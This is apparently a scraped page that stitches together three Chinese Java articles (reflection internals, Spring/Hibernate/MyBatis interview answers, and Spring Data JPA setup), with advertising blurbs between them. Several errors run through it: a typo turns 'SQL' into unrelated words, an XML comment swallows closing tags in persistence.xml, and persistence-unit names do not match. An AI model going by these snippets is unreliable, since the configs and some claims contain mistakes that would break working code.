        System.out.println("通過getMethod()方法調用了eat()方法:  "+describe);
    }

調用這個方法:

        Class fruitClass = Fruit.class;
        Method method = fruitClass.getDeclaredMethod("eat",String.class);
        method.setAccessible(true);
        method.invoke(fruitClass.newInstance(),"我是該方法的參數值");

輸出結果:

  通過getMethod()方法調用了eat()方法:我是該方法的參數值

分析getDeclaredMethod()涉及的源碼:

public Method getDeclaredMethod(String name, Class<?>... parameterTypes)
        throws NoSuchMethodException, SecurityException {
        // 1.檢查方法的修飾符
        checkMemberAccess(Member.DECLARED, Reflection.getCallerClass(), true);
        // 2.searchMethods()方法的第一個參數確定這個方法是不是私有方法,第二個參數我們定義的方法名,第三個參數就是傳入的方法的參數類型
        Method method = searchMethods(privateGetDeclaredMethods(false), name, parameterTypes);
        if (method == null) {
            throw new NoSuchMethodException(getName() + "." + name + argumentTypesToString(parameterTypes));
        }
        return method;
    }

// 這個方法就是通過傳入的方法名找到我們定義的方法,然後使用了Method的copy()方法返回一個Method的實例,我們通過操作mehtod這個實例就可以操作我們定義的方法。
 private static Method searchMethods(Method[] methods,
                                        String name,
                                        Class<?>[] parameterTypes)
    {
        Method res = null;
        String internedName = name.intern();
        for (int i = 0; i < methods.length; i++) {
            Method m = methods[i];
            if (m.getName() == internedName
                && arrayContentsEq(parameterTypes, m.getParameterTypes())
                && (res == null
                    || res.getReturnType().isAssignableFrom(m.getReturnType())))
                res = m;
        }

        return (res == null ? res : getReflectionFactory().copyMethod(res));
    }

 public Method copyMethod(Method var1) {
        return langReflectAccess().copyMethod(var1);
    }

 
// 檢查屬性的訪問權限
  private static LangReflectAccess langReflectAccess() {
        if (langReflectAccess == null) {
            Modifier.isPublic(1);
        }

        return langReflectAccess;
    }

2.2.4 判斷類的類型的方法

這類型的方法顧名思義,就是來判斷這個類是什麼類型,是接口,註解,枚舉,還是一般的類等等。部分方法如下錶

boolean isAnnotation()判斷是不是註解
boolean isArray() 判斷是否為數組
boolean isEnum()判斷是否為枚舉類型
boolean isInterface() 是否為接口類型
boolean isMemberClass()當且僅當基礎類是成員類時,返回“true”
boolean isPrimitive()確定指定的“類”對象是否表示原始類型。
boolean isSynthetic()如果這個類是合成類,則返回’ true ‘;否則返回“false”。

基本用法:

// 定義一個接口:
interface  Animal{
    public void run();
}

判斷是不是一個接口:

Class AnimalClass = Animal.class;
 boolean flag = AnimalClass.isInterface();
 System.out.println(flag);

輸出結果:

true

源碼分析isInterface():

 public native boolean isInterface();

這是一個native方法,大家都知道native方法是非Java語言實現的代碼,供Java程序調用的,因為Java程序是運行在JVM虛擬機上面的,要想訪問到比較底層的與操作系統相關的就沒辦法了,只能由靠近操作系統的語言來實現。

2.2.5 toString()方法

將對象轉換為字符串。字符串表示形式是字符串“類”或“接口”,後跟一個空格,然後是該類的全限定名。

基本使用:

// 這是前面定義的兩個類Fruit和Car,Car是一個接口
 Class fruitClass = Fruit.class;
 Class AnimalClass = Animal.class;
 System.out.println(AnimalClass.toString());
 System.out.println(fruitClass.toString());

輸出結果:

// 格式  字符串“類”或“接口”,後跟一個空格,然後是該類的全限定名
interface cn.chen.test.util.lang.Animal
class cn.chen.test.util.lang.Fruit

源碼如下:

 public String toString() {
       // 先是判斷是接口或者類,然後調用getName輸出類的全限定名
        return (isInterface() ? "interface " : (isPrimitive() ? "" : "class "))
            + getName();
    }

  public native boolean isInterface();
  public native boolean isPrimitive();

追本溯源,方能闊步前行。

參考資料

​ https://blog.csdn.net/x_panda/article/details/17120479

​ https://juejin.im/post/5d4450fbe51d4561ce5a1be1

​ JavaSE的官方文檔

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※想知道最厲害的網頁設計公司"嚨底家"!

※別再煩惱如何寫文案,掌握八大原則!

※產品缺大量曝光嗎?你需要的是一流包裝設計!

程序員必須掌握的Java 框架,小白學會之後15k不是問題

Spring 的核心特性是什麼?Spring 優點?

Spring 的核心是控制反轉(IoC)和面向切面(AOP)

Spring 優點:

程序員必須掌握的Java 框架,學會之後50k不是問題
(1)方便解耦,簡化開發 (高內聚低耦合)

Spring 就是一個大工廠(容器),可以將所有對象創建和依賴關係維護,交給 Spring管理

spring 工廠是用於生成 bean

(2)AOP 編程的支持

Spring 提供面向切面編程,可以方便的實現對程序進行權限攔截、運行監控等功能

(3) 聲明式事務的支持

只需要通過配置就可以完成對事務的管理,而無需手動編程

(4) 方便程序的測試

Spring 對 Junit4 支持,可以通過註解方便的測試 Spring 程序

(5)方便集成各種優秀框架

Spring 不排斥各種優秀的開源框架,其內部提供了對各種優秀框架(如:Struts、Hibernate、MyBatis、Quartz 等)的直接支持

(6) 降低 JavaEE API 的使用難度

Spring 對 JavaEE 開發中非常難用的一些 API(JDBC、JavaMail、遠程調用等),都提供了封裝,使這些 API 應用難度大大降低

spring 框架中需要引用哪些 jar 包,以及這些 jar 包的用途

4 + 1 : 4 個 核 心 ( beans 、 core 、 context 、 expression ) + 1 個 依 賴(commons-loggins…jar)

理解 AOP、IoC 的基本原理;

IOC:控制反轉(IoC)與依賴注入(DI)是同一個概念,

控制反轉的思想:

傳統的 java 開發模式中,當需要一個對象時,我們會自己使用 new 或者getInstance 等直接或者間接調用構造方法創建一個對象。而在 spring 開發模式中,spring 容器使用了工廠模式為我們創建了所需要的對象,不需要我們自己創建了,直接調用 spring 提供的對象就可以了

引入 IOC 的目的:

(1)脫開、降低類之間的耦合;(2)倡導面向接口編程、實施依賴倒換原則;

(3)提高系統可插入、可測試、可修改等特性

AOP:面向切面編程(AOP)面向切面編程思想:

在面向對象編程(oop)思想中,我們將事物縱向抽成一個個的對象。而在面向切面編程中,我們將一個個的對象某些類似的方面橫向抽成一個切面,對這個切面進行一些如權限控制、事物管理,記錄日誌等公用操作處理的過程。

切面:簡單說就是那些與業務無關,卻為業務模塊所共同調用的邏輯或責任封裝起來,便於減少系統的重複代碼,降低模塊之間的耦合度,並有利於未來的可操作性和可維護性。

AOP 底層:動態代理。

如果是接口採用 JDK 動態代理,如果是類採用 CGLIB 方式實現動態代理。

AOP 的一些場景應用;

AOP 用來封裝橫切關注點,具體可以在下面的場景中使用:

Authentication 權限

Caching 緩存

Context passing 內容傳遞

Error handling 錯誤處理

Lazy loading 懶加載

Debugging調試

logging, tracing, profiling and monitoring 記錄跟蹤 優化 校準

Performance optimization 性能優化

Persistence持久化

Resource pooling 資源池

Synchronization 同步

Transactions 事務

spring 注入的幾種方式
(1)構造方法注入

(2)setter 注入

(3)基於註解

Spring 中 Bean 的作用域有哪些

作用域:用於確定 spring 創建 bean 實例個數

取值(常用的兩個):

singleton 單例,默認值。prototype 多例,一個 bean 的定義可以有多個實例。每執行一次 getBean 將獲得一個實例。

請介紹一下 bean 的生命周期

(1)bean 定義:在配置文件裏面用來進行定義。

(2)bean 初始化:有兩種方式初始化:在配置文件中通過指定 init-method 屬性來完成實現
org.springframwork.beans.factory.InitializingBean 接口

(3)bean 調用:有三種方式可以得到 bean 實例,並進行調用

(4)bean 銷毀:銷毀有兩種方式使用配置文件指定的 destroy-method 屬性實現
org.springframwork.bean.factory.DisposeableBean 接口

Spring 中自動裝配的方式有哪些

no:不進行自動裝配,手動設置 Bean 的依賴關係。

byName:根據 Bean 的名字進行自動裝配。

byType:根據 Bean 的類型進行自動裝配。

constructor:類似於 byType,不過是應用於構造器的參數,如果正好有一個 Bean與構造器的參數類型相同則可以自動裝配,否則會導致錯誤。autodetect:如果有默認的構造器,則通過 constructor 的方式進行自動裝配,否則使用 byType 的方式進行自動裝配。

(自動裝配沒有自定義裝配方式那麼精確,而且不能自動裝配簡單屬性(基本類型、字符串等),在使用時應注意。)

@Resource 和 @Autowired 區別?分別用在什麼場景?

(1)共同點:兩者都可以寫在字段和 setter 方法上。兩者如果都寫在字段上,那麼就不需要再寫 setter 方法。

(2)不同點:

@Autowired

@Autowired為Spring提供的註解,需要導入包
org.springframework.beans.factory.annotation.Autowired;只按照 byType 注入。@Autowired 註解是按照類型(byType)裝配依賴對象,默認情況下它要求依賴對象必須存在,如果允許 null 值,可以設置它的 required 屬性為 false。如果我們想使用按照名稱(byName)來裝配,可以結合@Qualifier 註解一起使用。

@Resource

@Resource 默 認 按 照 ByName 自 動 注 入 , 由 J2EE 提 供 , 需 要 導 入 包javax.annotation.Resource。@Resource 有兩個重要的屬性:name 和 type,而 Spring將@Resource 註解的 name 屬性解析為 bean 的名字,而 type 屬性則解析為 bean的類型。所以,如果使用 name 屬性,則使用 byName 的自動注入策略,而使用type 屬性時則使用 byType 自動注入策略。如果既不制定 name 也不制定 type 屬性,這時將通過反射機制使用 byName 自動注入策略。

Hibernate 和 mybatis 的區別?

(1)兩者最大的區別

針對簡單邏輯,Hibernate 與 MyBatis 都有相應的代碼生成工具,可以生成簡單基本的 DAO 層方法。

針對高級查詢,MyBatis 需要手動編寫 SQL 語句,以及 ResultMap,而 Hibernate有良好的映射機制,開發者無需關心 SQL 的生成與結果映射,可以更專註於流程。

(2)開發難度對比

Hibernate 的開發難度大於 MyBatis,主要由於 Hibernate 比較複雜,龐大,學習周期比較長。

MyBatis 則相對簡單,並且 MyBatis 主要依賴於生氣了的書寫,讓開發者剛進更熟悉。

(3)sql 書寫比較

Hibernate 也可以自己寫 sql 來指定需要查詢的字段,但這樣就破壞了Hibernate 開發的簡潔性,不過 Hibernate 具有自己的日誌統計。

MyBatis 的 sql 是手動編寫的,所以可以按照要求指定查詢的字段,不過沒有自己的日誌統計,所以要藉助 Log4j 來記錄日誌。

(4)數據庫擴展性計較Hibernate 與數據庫具體的關聯在 XML 中,所以 HQL 對具體是用什麼數據庫
並不是很關心MyBatis 由於所有 sql 都是依賴數據庫書寫的,所以擴展性、遷移性比較差。

(5)緩存機制比較

Hibernate 的二級緩存配置在 SessionFactory 生成配置文件中進行詳細配置,然後再在具體的表對象映射中配置那種緩存。

MyBatis 的二級緩存配置都是在每個具體的表對象映射中進行詳細配置,這樣針對不同的表可以自定義不同的緩衝機制,並且 MyBatis 可以在命名空間中共享相同的緩存配置和實例,通過 Cache-ref 來實現。

兩者比較,因為 Hibernate 對查詢對象有着良好的管理機制,用戶無需關心 SQL,所以在使用二級緩存時如果出現臟數據,系統會報出錯誤提示。 而 MyBatis 在這一方面使用二級緩存時需要特別小心,如果不能完全去頂數據更新操作的波及範圍,避免 cache 的盲目使用,否則,臟數據的出現會給系統的正常運行帶來很大的隱患。

mybatis 是如何工作的?

一、Mybatis 工作原理圖

mybatis 原理圖如下所示:

二、工作原理解析

mybatis 應用程序通過 SqlSessionFactoryBuilder 從 mybatis-config.xml 配置文件(也可以用 Java 文件配置的方式,需要添加@Configuration)來構建 SqlSessionFactory(SqlSessionFactory 是線程安全的);

然後,SqlSessionFactory 的實例直接開啟一個 SqlSession,再通過 SqlSession 實例獲得 Mapper 對象並運行 Mapper 映射的 SQL 語句,完成對數據庫的 CRUD 和事務提交,之後關閉 SqlSession。說明:SqlSession 是單線程對象,因為它是非線程安全的,是持久化操作的獨享對象,類似 jdbc 中的 Connection,底層就封裝了 jdbc 連接。

詳細流程如下:

(1)、加載 mybatis 全局配置文件(數據源、mapper 映射文件等),解析配置文件,MyBatis 基於 XML 配置文件生成 Configuration,和一個個 MappedStatement(包括了參數映射配置、動態 SQL 語句、結果映射配置),其對應着標籤項。

(2)、SqlSessionFactoryBuilder 通過 Configuration 對象生成 SqlSessionFactory,用來開啟 SqlSession。

(3)、SqlSession 對象完成和數據庫的交互:

a、用戶程序調用 mybatis 接口層 api(即 Mapper 接口中的方法)

b、SqlSession 通過調用 api 的 Statement ID 找到對應的 MappedStatement 對象

c、通過 Executor(負責動態 SQL 的生成和查詢緩存的維護)將 MappedStatement對象進行解析,sql 參數轉化、動態 sql 拼接,生成 jdbc Statement 對象

d、JDBC 執行 sql。

e、藉助 MappedStatement 中的結果映射關係,將返回結果轉化成 HashMap、JavaBean 等存儲結構並返回。

Hibernate 對象有幾個狀態值?

Transient 瞬時 :對象剛 new 出來,還沒設 id,設了其他值。

Persistent 持久:調用了 save()、saveOrUpdate(),就變成 Persistent,有 id

Detached 脫管 : 當 session close()完之後,變成 Detached。

簡述 Springmvc 的流程;

spring 工作的流程

流程如下:(1)用戶發起請求到前端控制器(DispatcherServlet),該控制器會過濾出哪些請求可以訪問 Servlet、哪些不能訪問。就是 url-pattern 的作用,並且會加載springmvc.xml 配置文件。

(2)前端控制器會找到處理器映射器(HandlerMapping),通過 HandlerMapping完成 url 到 controller 映射的組件,簡單來說,就是將在 springmvc.xml 中配置的或者註解的 url 與對應的處理類找到並進行存儲,用 map<url,handler>這樣的方式來存儲。

(3)HandlerMapping 有了映射關係,並且找到 url 對應的處理器,HandlerMapping就會將其處理器(Handler)返回,在返回前,會加上很多攔截器。

(4)DispatcherServlet 拿到 Handler 后,找到 HandlerAdapter(處理器適配器),通過它來訪問處理器,並執行處理器。

(5)執行處理器

(6)處理器會返回一個 ModelAndView 對象給 HandlerAdapter

(7) 通 過 HandlerAdapter 將 ModelAndView 對 象 返 回 給 前 端 控 制 器(DispatcherServlet)

(8)前端控制器請求視圖解析器(ViewResolver)去進行視圖解析,根據邏輯視圖名解析成真正的視圖(jsp),其實就是將 ModelAndView 對象中存放視圖的名稱進行查找,找到對應的頁面形成視圖對象

(9)返回視圖對象到前端控制器。

(10)視圖渲染,就是將 ModelAndView 對象中的數據放到 request 域中,用來讓頁面加載數據的。

(11)通過第 8 步,通過名稱找到了對應的頁面,通過第 10 步,request 域中有了所需要的數據,那麼就能夠進行視圖渲染了。最後將其返回即可。

Springmvc 和 Springboot 有什麼區別?

Spring MVC 是基於 Spring 的一個 MVC 框架 ;

Spring Boot 是基於 Spring4 的條件註冊的一套快速開發整合包。

Springboot 為什麼配置簡單?(即它自動做了什麼操作才能簡化程序員的操作)
主要是使用了 spring3 之後提供的註解,來代替 xml 文件的配置,最核心的是以下兩個註解

@Configuration,標註在類上,相當於定義一個配置類,一份 spring 的配置文件

@Bean,類似於 spring 配置文件中的通過這兩個註解就可以用 java 代碼的方式來完成相關 spring 配置

持久層設計要考慮的問題有哪些?請談一下你用過的持久層框架都有哪些?

“持久”就是將數據保存到可掉電式存儲設備中以便今後使用,簡單的說,就是將內存中的數據保存到關係型數據庫、文件系統、消息隊列等提供持久化支持的設備中。持久層就是系統中專註於實現數據持久化的相對獨立的層面。

持久層設計的目標包括:

數據存儲邏輯的分離,提供抽象化的數據訪問接口。

數據訪問底層實現的分離,可以在不修改代碼的情況下切換底層實現。

資源管理和調度的分離,在數據訪問層實現統一的資源調度(如緩存機制)。

數據抽象,提供更面向對象的數據操作。

持久層框架有: Hibernate、MyBatis、TopLink、 Guzz、 jOOQ、 Spring Data、ActiveJDBC

需要更多技術文檔可以在後台私信【學習】

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※別再煩惱如何寫文案,掌握八大原則!

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※超省錢租車方案

※教你寫出一流的銷售文案?

網頁設計最專業,超強功能平台可客製化

Spring Data JPA

一、JPA概述:

  JPA的全稱是Java Persistence API, 即Java 持久化API,是SUN公司推出的一套基於ORM的規範,內部是由一系列的接口和抽象類構成。JPA通過JDK 5.0註解描述對象-關係表的映射關係,並將運行期的實體對象持久化到數據庫中。

  JPA的優勢:標準化、容器級特性的支持、簡單方便、查詢能力、高級特性

二、JPA與Hibernate的關係:

  JPA規範本質上就是一種ORM規範,注意不是ORM框架——因為JPA並未提供ORM實現,它只是制訂了一些規範,提供了一些編程的API接口,但具體實現則由服務廠商來提供實現。JPAHibernate的關係就像JDBCJDBC驅動的關係,JPA是規範,Hibernate除了作為ORM框架之外,它也是一種JPA實現。

 

 

 

三、JPA環境搭建:

1、創建一個maven工程,在pom.xml中導入對應的坐標

 1    <properties>
 2         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
 3         <project.hibernate.version>5.0.7.Final</project.hibernate.version>
 4     </properties>
 5 
 6     <dependencies>
 7         <!-- junit -->
 8         <dependency>
 9             <groupId>junit</groupId>
10             <artifactId>junit</artifactId>
11             <version>4.12</version>
12             <scope>test</scope>
13         </dependency>
14 
15         <!-- hibernate對jpa的支持包 -->
16         <dependency>
17             <groupId>org.hibernate</groupId>
18             <artifactId>hibernate-entitymanager</artifactId>
19             <version>${project.hibernate.version}</version>
20         </dependency>
21 
22         <!-- c3p0 -->
23         <dependency>
24             <groupId>org.hibernate</groupId>
25             <artifactId>hibernate-c3p0</artifactId>
26             <version>${project.hibernate.version}</version>
27         </dependency>
28 
29         <!-- log日誌 -->
30         <dependency>
31             <groupId>log4j</groupId>
32             <artifactId>log4j</artifactId>
33             <version>1.2.17</version>
34         </dependency>
35 
36         <!-- Mysql and MariaDB -->
37         <dependency>
38             <groupId>mysql</groupId>
39             <artifactId>mysql-connector-java</artifactId>
40             <version>5.1.6</version>
41         </dependency>
42     </dependencies>

2、編寫實體類和數據表的映射配置,創建實體類以後,使用對應的註釋配置映射關係

     @Entity
            作用:指定當前類是實體類。
        @Table
            作用:指定實體類和表之間的對應關係。
            屬性:
                name:指定數據庫表的名稱
        @Id
            作用:指定當前字段是主鍵。
        @GeneratedValue
            作用:指定主鍵的生成方式。。
            屬性:
                strategy :指定主鍵生成策略。
        @Column
            作用:指定實體類屬性和數據庫表之間的對應關係
            屬性:
                name:指定數據庫表的列名稱。
                unique:是否唯一  
                nullable:是否可以為空  
                inserttable:是否可以插入  
                updateable:是否可以更新  
                columnDefinition: 定義建表時創建此列的DDL  
                secondaryTable: 從表名。如果此列不建在主表上(默認建在主表),該屬性定義該列所在從表的名字搭建開發環境[重點]

3、配置JPA的核心配置文件

在java工程的src路徑下創建一個名為META-INF的文件夾,在此文件夾下創建一個名為persistence.xml的配置文件

<?xml version="1.0" encoding="UTF-8"?>
<persistence xmlns="http://java.sun.com/xml/ns/persistence"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://java.sun.com/xml/ns/persistence  
    http://java.sun.com/xml/ns/persistence/persistence_2_0.xsd"
    version="2.0">
    <!--配置持久化單元 
        name:持久化單元名稱 
        transaction-type:事務類型
             RESOURCE_LOCAL:本地事務管理 
             JTA:分佈式事務管理 -->
    <persistence-unit name="myJpa" transaction-type="RESOURCE_LOCAL">
        <!--配置JPA規範的服務提供商 -->
        <provider>org.hibernate.jpa.HibernatePersistenceProvider</provider>
        <properties>
            <!-- 數據庫驅動 -->
            <property name="javax.persistence.jdbc.driver" value="com.mysql.jdbc.Driver" />
            <!-- 數據庫地址 -->
            <property name="javax.persistence.jdbc.url" value="jdbc:mysql://localhost:3306/jpa" />
            <!-- 數據庫用戶名 -->
            <property name="javax.persistence.jdbc.user" value="root" />
            <!-- 數據庫密碼 -->
            <property name="javax.persistence.jdbc.password" value="111111" />

            <!--jpa提供者的可選配置:我們的JPA規範的提供者為hibernate,所以jpa的核心配置中兼容hibernate的配 -->
<property name="hibernate.show_sql" value="true" /> <property name="hibernate.format_sql" value="true" />
        
       <!--自動創建數據庫表:create(運行時創建表),update(如過有表則不創建表),none(不創建表) <property name="hibernate.hbm2ddl.auto" value="create" /> </properties> </persistence-unit> </persistence>

4、測試數據庫操作

通過調用EntityManager的方法完成獲取事務,以及持久化數據庫的操作

方法說明:    
    getTransaction : 獲取事務對象
    persist : 保存操作
    merge : 更新操作
    remove : 刪除操作
    find/getReference : 根據id查詢
 1 @Test
 2     public void test() {
 3         /**
 4          * 創建實體管理類工廠,藉助Persistence的靜態方法獲取
 5          *         其中傳遞的參數為持久化單元名稱,需要jpa配置文件中指定
 6          */
 7         EntityManagerFactory factory = Persistence.createEntityManagerFactory("myJpa");
 8         //創建實體管理類
 9         EntityManager em = factory.createEntityManager();
10         //獲取事務對象
11         EntityTransaction tx = em.getTransaction();
12         //開啟事務
13         tx.begin();
14         Customer c = new Customer();
15         c.setCustName("天地壹號");
16         //保存操作
17         em.persist(c);
18         //提交事務
19         tx.commit();
20         //釋放資源
21         em.close();
22         factory.close();
23     }

6、抽取JPAUtil工具類,通過工具類生成實體類管理器對象

package top.biyenanhai.dao;

import javax.persistence.EntityManager;
import javax.persistence.EntityManagerFactory;
import javax.persistence.Persistence;

public final class JPAUtil {
    // JPA的實體管理器工廠:相當於Hibernate的SessionFactory
    private static EntityManagerFactory em;
    // 使用靜態代碼塊賦值
    static {
        // 注意:該方法參數必須和persistence.xml中persistence-unit標籤name屬性取值一致
        em = Persistence.createEntityManagerFactory("myPersistUnit");
    }

    /**
     * 使用管理器工廠生產一個管理器對象
     * 
     * @return
     */
    public static EntityManager getEntityManager() {
        return em.createEntityManager();
    }
}

 

三、Spring Data JPA概述:

  Spring Data JPA 是 Spring 基於 ORM 框架、JPA 規範的基礎上封裝的一套JPA應用框架,可使開發者用極簡的代碼即可實現對數據庫的訪問和操作。它提供了包括增刪改查等在內的常用功能,且易於擴展!學習並使用 Spring Data JPA 可以極大提高開發效率!Spring Data JPA 讓我們解脫了DAO層的操作,基本上所有CRUD都可以依賴於它來實現,在實際的工作工程中,推薦使用Spring Data JPA + ORM(如:hibernate)完成操作,這樣在切換不同的ORM框架時提供了極大的方便,同時也使數據庫層操作更加簡單,方便解耦。

四、Spring Data JPA 與 JPA和hibernate之間的關係:

  JPA是一套規範,內部是有接口和抽象類組成的。hibernate是一套成熟的ORM框架,而且Hibernate實現了JPA規範,所以也可以稱hibernate為JPA的一種實現方式,我們使用JPA的API編程,意味着站在更高的角度上看待問題(面向接口編程)。Spring Data JPA是Spring提供的一套對JPA操作更加高級的封裝,是在JPA規範下的專門用來進行數據持久化的解決方案。

五、Spring Data JPA快速搭建開發環境:

1、創建maven工程,導入Spring Data JPA的坐標

  1    <properties>
  2         <spring.version>4.2.4.RELEASE</spring.version>
  3         <hibernate.version>5.0.7.Final</hibernate.version>
  4         <slf4j.version>1.6.6</slf4j.version>
  5         <log4j.version>1.2.12</log4j.version>
  6         <c3p0.version>0.9.1.2</c3p0.version>
  7         <mysql.version>5.1.6</mysql.version>
  8     </properties>
  9 
 10     <dependencies>
 11         <!-- junit單元測試 -->
 12         <dependency>
 13             <groupId>junit</groupId>
 14             <artifactId>junit</artifactId>
 15             <version>4.12</version>
 16             <scope>test</scope>
 17         </dependency>
 18         
 19         <!-- spring beg -->
 20         <dependency>
 21             <groupId>org.aspectj</groupId>
 22             <artifactId>aspectjweaver</artifactId>
 23             <version>1.6.8</version>
 24         </dependency>
 25 
 26         <dependency>
 27             <groupId>org.springframework</groupId>
 28             <artifactId>spring-aop</artifactId>
 29             <version>${spring.version}</version>
 30         </dependency>
 31 
 32         <dependency>
 33             <groupId>org.springframework</groupId>
 34             <artifactId>spring-context</artifactId>
 35             <version>${spring.version}</version>
 36         </dependency>
 37 
 38         <dependency>
 39             <groupId>org.springframework</groupId>
 40             <artifactId>spring-context-support</artifactId>
 41             <version>${spring.version}</version>
 42         </dependency>
 43 
 44         <dependency>
 45             <groupId>org.springframework</groupId>
 46             <artifactId>spring-orm</artifactId>
 47             <version>${spring.version}</version>
 48         </dependency>
 49 
 50         <dependency>
 51             <groupId>org.springframework</groupId>
 52             <artifactId>spring-beans</artifactId>
 53             <version>${spring.version}</version>
 54         </dependency>
 55 
 56         <dependency>
 57             <groupId>org.springframework</groupId>
 58             <artifactId>spring-core</artifactId>
 59             <version>${spring.version}</version>
 60         </dependency>
 61         
 62         <!-- spring end -->
 63 
 64         <!-- hibernate beg -->
 65         <dependency>
 66             <groupId>org.hibernate</groupId>
 67             <artifactId>hibernate-core</artifactId>
 68             <version>${hibernate.version}</version>
 69         </dependency>
 70         <dependency>
 71             <groupId>org.hibernate</groupId>
 72             <artifactId>hibernate-entitymanager</artifactId>
 73             <version>${hibernate.version}</version>
 74         </dependency>
 75         <dependency>
 76             <groupId>org.hibernate</groupId>
 77             <artifactId>hibernate-validator</artifactId>
 78             <version>5.2.1.Final</version>
 79         </dependency>
 80         <!-- hibernate end -->
 81 
 82         <!-- c3p0 beg -->
 83         <dependency>
 84             <groupId>c3p0</groupId>
 85             <artifactId>c3p0</artifactId>
 86             <version>${c3p0.version}</version>
 87         </dependency>
 88         <!-- c3p0 end -->
 89 
 90         <!-- log end -->
 91         <dependency>
 92             <groupId>log4j</groupId>
 93             <artifactId>log4j</artifactId>
 94             <version>${log4j.version}</version>
 95         </dependency>
 96 
 97         <dependency>
 98             <groupId>org.slf4j</groupId>
 99             <artifactId>slf4j-api</artifactId>
100             <version>${slf4j.version}</version>
101         </dependency>
102 
103         <dependency>
104             <groupId>org.slf4j</groupId>
105             <artifactId>slf4j-log4j12</artifactId>
106             <version>${slf4j.version}</version>
107         </dependency>
108         <!-- log end -->
109 
110         
111         <dependency>
112             <groupId>mysql</groupId>
113             <artifactId>mysql-connector-java</artifactId>
114             <version>${mysql.version}</version>
115         </dependency>
116 
117         <dependency>
118             <groupId>org.springframework.data</groupId>
119             <artifactId>spring-data-jpa</artifactId>
120             <version>1.9.0.RELEASE</version>
121         </dependency>
122 
123         <dependency>
124             <groupId>org.springframework</groupId>
125             <artifactId>spring-test</artifactId>
126             <version>4.2.4.RELEASE</version>
127         </dependency>
128         
129         <!-- el beg 使用spring data jpa 必須引入 -->
130         <dependency>  
131             <groupId>javax.el</groupId>  
132             <artifactId>javax.el-api</artifactId>  
133             <version>2.2.4</version>  
134         </dependency>  
135           
136         <dependency>  
137             <groupId>org.glassfish.web</groupId>  
138             <artifactId>javax.el</artifactId>  
139             <version>2.2.4</version>  
140         </dependency> 
141         <!-- el end -->
142 
143         <dependency>
144             <groupId>javax.xml.bind</groupId>
145             <artifactId>jaxb-api</artifactId>
146             <version>2.3.0</version>
147         </dependency>
148         <dependency>
149             <groupId>com.sun.xml.bind</groupId>
150             <artifactId>jaxb-impl</artifactId>
151             <version>2.3.0</version>
152         </dependency>
153         <dependency>
154             <groupId>com.sun.xml.bind</groupId>
155             <artifactId>jaxb-core</artifactId>
156             <version>2.3.0</version>
157         </dependency>
158         <dependency>
159             <groupId>javax.activation</groupId>
160             <artifactId>activation</artifactId>
161             <version>1.1.1</version>
162         </dependency>
163     </dependencies>
164         

2、整合Spring Data JPA與Spring

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <beans xmlns="http://www.springframework.org/schema/beans"
 3     xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:aop="http://www.springframework.org/schema/aop"
 4     xmlns:context="http://www.springframework.org/schema/context"
 5     xmlns:jdbc="http://www.springframework.org/schema/jdbc" xmlns:tx="http://www.springframework.org/schema/tx"
 6     xmlns:jpa="http://www.springframework.org/schema/data/jpa" xmlns:task="http://www.springframework.org/schema/task"
 7     xsi:schemaLocation="
 8         http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd
 9         http://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop.xsd
10         http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd
11         http://www.springframework.org/schema/jdbc http://www.springframework.org/schema/jdbc/spring-jdbc.xsd
12         http://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx.xsd
13         http://www.springframework.org/schema/data/jpa 
14         http://www.springframework.org/schema/data/jpa/spring-jpa.xsd">
15     
16     <!-- 1.dataSource 配置數據庫連接池-->
17     <bean id="dataSource" class="com.mchange.v2.c3p0.ComboPooledDataSource">
18         <property name="driverClass" value="com.mysql.jdbc.Driver" />
19         <property name="jdbcUrl" value="jdbc:mysql://localhost:3306/jpa" />
20         <property name="user" value="root" />
21         <property name="password" value="111111" />
22     </bean>
23     
24     <!-- 2.配置entityManagerFactory -->
25     <bean id="entityManagerFactory" class="org.springframework.orm.jpa.LocalContainerEntityManagerFactoryBean">
26         <property name="dataSource" ref="dataSource" />
27         <property name="packagesToScan" value="cn.itcast.entity" />
28         <property name="persistenceProvider">
29             <bean class="org.hibernate.jpa.HibernatePersistenceProvider" />
30         </property>
31         <!--JPA的供應商適配器-->
32         <property name="jpaVendorAdapter">
33             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaVendorAdapter">
34                 <property name="generateDdl" value="false" />
35                 <property name="database" value="MYSQL" />
36                 <property name="databasePlatform" value="org.hibernate.dialect.MySQLDialect" />
37                 <property name="showSql" value="true" />
38             </bean>
39         </property>
40         <property name="jpaDialect">
41             <bean class="org.springframework.orm.jpa.vendor.HibernateJpaDialect" />
42         </property>
43     </bean>
44     
45     
46     <!-- 3.事務管理器-->
47     <!-- JPA事務管理器  -->
48     <bean id="transactionManager" class="org.springframework.orm.jpa.JpaTransactionManager">
49         <property name="entityManagerFactory" ref="entityManagerFactory" />
50     </bean>
51     
52     <!-- 整合spring data jpa-->
53     <jpa:repositories base-package="top.biyenanhai.mapper"
54         transaction-manager-ref="transactionManager"
55         entity-manager-factory-ref="entityManagerFactory"></jpa:repositories>
56         
57     <!-- 4.txAdvice-->
58     <tx:advice id="txAdvice" transaction-manager="transactionManager">
59         <tx:attributes>
60             <tx:method name="*" propagation="REQUIRED"/>
61             <tx:method name="get*" read-only="true"/>
62             <tx:method name="find*" read-only="true"/>
63         </tx:attributes>
64     </tx:advice>
65     
66     <!-- 5.aop-->
67     <aop:config>
68         <aop:pointcut id="pointcut" expression="execution(* top.biyenanhai.service.*.*(..))" />
69         <aop:advisor advice-ref="txAdvice" pointcut-ref="pointcut" />
70     </aop:config>
71     
72     <context:component-scan base-package="cn.itcast"></context:component-scan>
73     <!--6、配置包掃描-->
74     <context:component-scan base-package="top.biyenanhai"/>
75     <!--組裝其它 配置文件-->
76     
77 </beans>

